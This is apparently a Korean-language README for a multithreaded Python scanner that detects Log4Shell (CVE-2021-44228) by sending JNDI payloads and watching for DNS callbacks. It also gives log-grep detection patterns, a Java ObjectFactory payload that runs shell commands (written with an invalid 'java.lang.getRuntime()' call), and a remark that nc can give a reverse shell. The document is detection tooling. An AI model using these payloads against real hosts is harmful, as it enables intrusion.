hassaanahmad813/log4j멀티스레드 Python 스캐너로, JNDI 페이로드가 포함된 조작된 HTTP 요청을 전송하고 DNS 콜백을 모니터링하여 취약한 호스트를 식별함으로써 Log4Shell(CVE-2021-44228)을 탐지합니다.
이 스크립트는 takito1812/log4j-detect를 기반으로 합니다.
Python 3로 개발된 "log4j-detect.py" 스크립트는 지정된 URL 목록이 CVE-2021-44228에 취약한지 여부를 탐지하는 역할을 합니다.
이를 위해 스레드(더 높은 성능)를 사용하여 지정된 목록의 각 URL에 GET 요청을 보냅니다. GET 요청에는 성공 시 Burp Collaborator / interactsh에 DNS 요청을 반환하는 페이로드가 포함되어 있습니다. 이 페이로드는 테스트 매개변수와 "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication" 헤더에 전송됩니다. 마지막으로, 호스트가 취약한 경우 Burp Collaborator / interactsh 페이로드의 하위 도메인 접두사와 스크립트 출력에 식별 번호가 나타나며, 이를 통해 어떤 호스트가 DNS를 통해 응답했는지 알 수 있습니다.
이 스크립트는 취약점의 DNS 탐지만 처리하며 원격 명령 실행은 테스트하지 않는다는 점에 유의해야 합니다.
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]
sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
누군가 ldap 서버를 통해 연결을 시도했는지 확인하려면
서버가 공격당할 수 있는지 테스트하기 위해 실행할 수 있는 샘플 코드입니다 (Windows 셸인 경우 PowerShell 구문을 사용하면 됩니다)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
이와 유사한 코드로 nc 명령을 사용하여 리버스 셸을 만들 수 있습니다.